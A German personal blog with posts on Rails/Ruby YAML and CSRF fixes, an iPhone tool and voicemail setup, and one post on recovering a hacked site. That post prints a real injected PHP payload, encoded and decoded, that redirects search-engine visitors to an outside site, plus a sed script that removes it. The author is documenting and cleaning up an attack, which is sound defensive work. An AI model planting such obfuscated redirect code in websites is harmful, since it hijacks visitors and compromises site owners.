Rails 3.2.1 / ruby-1.9.3 / YAML / psych

Heute habe ich die KuFa HP auf die aktuelle Rails (3.2.1) und Ruby Version (1.9.3) aktualisieren wollen. Das ganze hat mich mehr Nerven gekostet als erwartet.

Hintergrund
Im Vergleich zu der alten Ruby 1.8.x Version nutzt Ruby 1.9.x einen neuen Parser für die yml Files. Anstatt wie bisher syck nutzt das neue ruby jetzt psych. Das wurde geändert weil syck wohl seit ner ganzen Weile von niemandem mehr betreut wird und psych schenller und neuer ist usw.. Psych ist aber leider ein wenig genauer wenn es um die yml Files geht d.h. nach dem deployen der Homepage auf den Server ist mir erst Mal alles um die Ohren geflogen mit Parsing Fehlern die auf die de.yml sprich auf die locales hindeuten.

Lange Rede kurzer Sinn nach stundenlanger Suche im Netz bin ich dann endlich auf folgende Syntax für den Anfang der de.yml gestossen die mit psych funktioniert:


day_names:
- Sonntag
- Montag
- Dienstag
- Mittwoch
- Donnerstag
- Freitag
- Samstag

abbr_day_names:
- So
- Mo
- Di
- Mi
- Do
- Fr
- Sa

month_names:
- ~
- Januar
- Februar
- März
- April
- Mai
- Juni
- Juli
- August
- September
- Oktober
- November
- Dezember

abbr_month_names:
- ~
- Jan
- Feb
- Mär
- Apr
- Mai
- Jun
- Jul
- Aug
- Sep
- Okt
- Nov
- Dez

order:
- !ruby/symbol day
- !ruby/symbol month
- !ruby/symbol year

Damit hat dann der Spuck mit den Parsing Fehlern ein Ende und man kann endlich erfolgreich auf die aktuellen Versionen migrieren.

X-CSRF Meta Madness mit Rails 3.0.7

Nachdem ich heute die KuFa Applikation auf Rails 3.0.7 aktualisiert hatte bin ich auf das Problem gestossen das der Fileuploader den ich intern verwende zwar noch funktioniert, ich aber nach jedem Upload ausgeloggt werde. Nicht gerade die Benutzererfahrung die ich erwartete. Ein Blick in die Änderungshistorie von den jeweiligen Rails Versionen sagt mir das mit Version 3.0.5 die CSRF Prüfung erweitert wurde die zur Folge hat das jeder Zugriff auf die Seite, also auch ein AjaxRequest, ohne ein gültiges CSRF Token die Session beendet. Darunter direkt ein Link zu einem Snippet das fur Prototype bzw. jQuery für AjaxRequest den entsprechenden Header mitliefern soll.


$(document).ajaxSend(function(e, xhr, options) {
var token = $("meta[name='csrf-token']").attr("content");
xhr.setRequestHeader("X-CSRF-Token", token);
});

Leider funktioniert der Upload danach immer noch nicht und ich werde weiterhin ausgeloggt.
Ein Blick in das Javascript File des Fileuploaders offenbart mir folgende Funktion für den Dateiupload:


// build query string
params = params || {};
params['file'] = name;
var queryString = qq.obj2url(params, this._options.action);

xhr.open("POST", queryString, true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-File-Name", encodeURIComponent(name));
xhr.setRequestHeader("Content-Type", "application/octet-stream");
xhr.send(file);

Scheinbar ist das nicht das gleiche wie der AjaxRequest der oben in der Routine erweitert wurde. Also mein Versuch die Upload Funktion zu erweitern:


// build query string
params = params || {};
params['file'] = name;
var queryString = qq.obj2url(params, this._options.action);
var token = $("meta[name='csrf-token']").attr("content");

xhr.open("POST", queryString, true);
xhr.setRequestHeader("X-Requested-With", "XMLHttpRequest");
xhr.setRequestHeader("X-File-Name", encodeURIComponent(name));
xhr.setRequestHeader("Content-Type", "application/octet-stream");
xhr.setRequestHeader("X-CSRF-Token", token);
xhr.send(file);

Und siehe da, der Upload funktioniert wieder einwandfrei und die Session bleibt auch bestehen. Viel Spass damit

Phone Disk

Heute habe ich ein kleines praktisches Tool entdeckt das bis zum 1. Dezember sogar kostenlos zu bekommen ist. Mit dem Tool wird das iPhone am Mac und am PC als Laufwerk erkannt und Ihr könnte Dateien direkt vom Finder/Explorer aus auf Euer iPhone kopieren.

Ihr findet das Tool unter: PhoneDisk

Visual Voicemail fürs iPhone bei Vodafone

Hallo zusammen,

seit ein paar Tagen bin ich stolzer Besitzer eines iPhone 4 bei Vodafone. Natürlich wollte ich gerne das Visual Voicemailbox Feature nutzen.

Hier eine kleine Anleitung wie Ihr bei Euch die Visual Voiemailbox einrichten könnt:

1. Mailbox anrufen ( 5500 )
2. Menüpunkt 2 ( Einstellungen ) – 2 ( Benachrichtungsoptionen ) – 5 ( Visual Voicemail ) um die Visual Voicemailbox zu aktivieren
( falls der Punkt bei Euch nicht existiert ist Eure Mailbox noch nicht für das Visual Voicemail Feature umgestellt dann müsste Ihr einfach noch ein wenig Geduld haben )
3. Ich musste danach die Mailbox einmal ausschalten und danach wieder einschalten damit die Visual Voicemailbox funktioniert hat.

Viel Spass damit

alolipololi.osa.pl

Heute wurde eine Webseite von mir über eine Sicherheitslücke im phpMyadmin Setupscript überall mit einem kleine Zusatzheader versehen:

eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOw0KJG5jY3Y9aGVhZGVyc19zZW50KCk7DQppZiAoISRuY2N2KXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YT0kX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ107DQppZiAoc3RyaXN0cigkcmVmZXJlciwieWFob28iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb29nbGUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaW5nIikpIHsNCglpZiAoIXN0cmlzdHIoJHJlZmVyZXIsInNpdGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7CQkNCgkJaGVhZGVyKCJMb2NhdGlvbjogaHR0cDovL2Fsb2xpcG9sb2xpLm9zYS5wbC8iKTsNCgkJZXhpdCgpOw0KCX0NCn0NCgl9"));

Dekodiert sah das ganze dann so aus:

error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing")) { if (!stristr($referer,"site") or !stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://alolipololi.osa.pl/"); exit(); } } }

Mit anderen Worten wenn einer über eine Suchmaschine meine Seite besucht hat dann wurde der Besucher auf eine nette polnische Seite umgeleitet.

Da alle meine PHP Scripte von dieser Attacke betroffen waren habe ich kurzerhand ein kleines Bashscript geschrieben das im Rootverzeichniss meiner Webseite auf er Kommandozeile gestartet erfolgreich wieder alles entfernt hat:

for i in `find . -name '*.php'`
do
echo $i
cp -v $i $i.bak
sed 's/eval(base64_decode(".*"));//g' $i.bak > $i
done
Subscribe to RSS Feed Follow me on Twitter!